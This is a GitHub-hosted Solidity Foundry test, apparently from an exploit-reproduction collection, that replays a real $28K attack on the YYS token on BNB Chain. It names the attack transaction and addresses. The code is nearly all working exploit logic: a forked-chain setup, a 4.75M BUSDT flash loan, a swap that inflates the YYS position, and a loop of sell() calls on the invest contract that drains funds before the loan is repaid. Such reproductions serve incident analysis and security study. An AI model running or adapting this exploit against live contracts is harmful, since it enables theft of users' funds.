-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
YYS_exp.sol
78 lines (62 loc) · 3.1 KB
/
YYS_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : $28K
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x397a09af6494c0bfcd89e010f5dd65d90f3ee1cf1ff813ce5b0c1d42a1c8dec9?line=84
// Attacker Address : https://bscscan.com/address/0x101723def8695f5bb8d5d4aa70869c10b5ff6340
// Attack Contract1: https://bscscan.com/address/0x832e6540da54d07cb0dfea8957be690c8eb2c6a0
// Attack Contract2: https://bscscan.com/address/0x4192abd1466b49be9d1e99918aee99e0dbd65289
// @Analysis: https://x.com/0xNickLFranklin/status/1799610045589831833
interface Isell {
function updateAllowance() external;
function sell(
uint256
) external;
}
contract ContractTest is Test {
Uni_Pair_V3 constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 YYStoken = IERC20(0xE814Cc2B4DbFe652C04f2E008ced18875c76F510);
Uni_Pair_V2 constant Pair = Uni_Pair_V2(0x4200A9B80B1e84cF94ad8Fc28f66195BC3c37F3F);
IPancakeRouter Router = IPancakeRouter(payable(0x8228A4aD192d5D82189afd6e194f65edb8c76a41));
uint256 flashBUSDTAmount = 4_750_000 ether;
Isell YYStoken_Sell = Isell(0xcC0F0f41f4c4c17493517dd6c6d9DD1aDb134Fc9);
address invest = 0xcC0F0f41f4c4c17493517dd6c6d9DD1aDb134Fc9;
address Anotheraddress = 0xC772718b5206EF788D33F43A2a80a104a1867BD4;
function setUp() public {
vm.createSelectFork("bsc", 39_436_701);
deal(address(BUSDT), address(this), 100 ether);
}
function testExploit() public {
BUSDT.approve(address(invest), type(uint256).max);
// Step1: invest,Any address that has been bound before can be used.
address(invest).call(abi.encodeWithSelector(bytes4(0xb9b8c246), address(Anotheraddress), 100 ether));
// Step2: Start the attack.
BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint256(1)));
emit log_named_decimal_uint("After Profit: ", BUSDT.balanceOf(address(this)), 18);
}
function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
Pair.sync();
BUSDT.approve(address(Router), flashBUSDTAmount);
address[] memory path = new address[](2);
path[0] = address(BUSDT);
path[1] = address(YYStoken);
uint256[] memory amountsout = Router.getAmountsOut(4_749_900 * 10 ** 18, path);
BUSDT.transfer(address(Pair), 4_749_900 ether);
Pair.swap(0, amountsout[1], address(this), "");
YYStoken.approve(address(YYStoken_Sell), type(uint256).max);
uint256 sellamount = 38_584 ether;
uint256 bal = YYStoken.balanceOf(address(this));
uint256 j = 0;
while (YYStoken.balanceOf(address(this)) > 5000 ether) {
if (j == 0) {
YYStoken_Sell.sell(sellamount);
} else {
YYStoken_Sell.sell(YYStoken.balanceOf(address(this)));
}
j++;
}
BUSDT.transfer(msg.sender, flashBUSDTAmount * 10_001 / 10_000);
}
}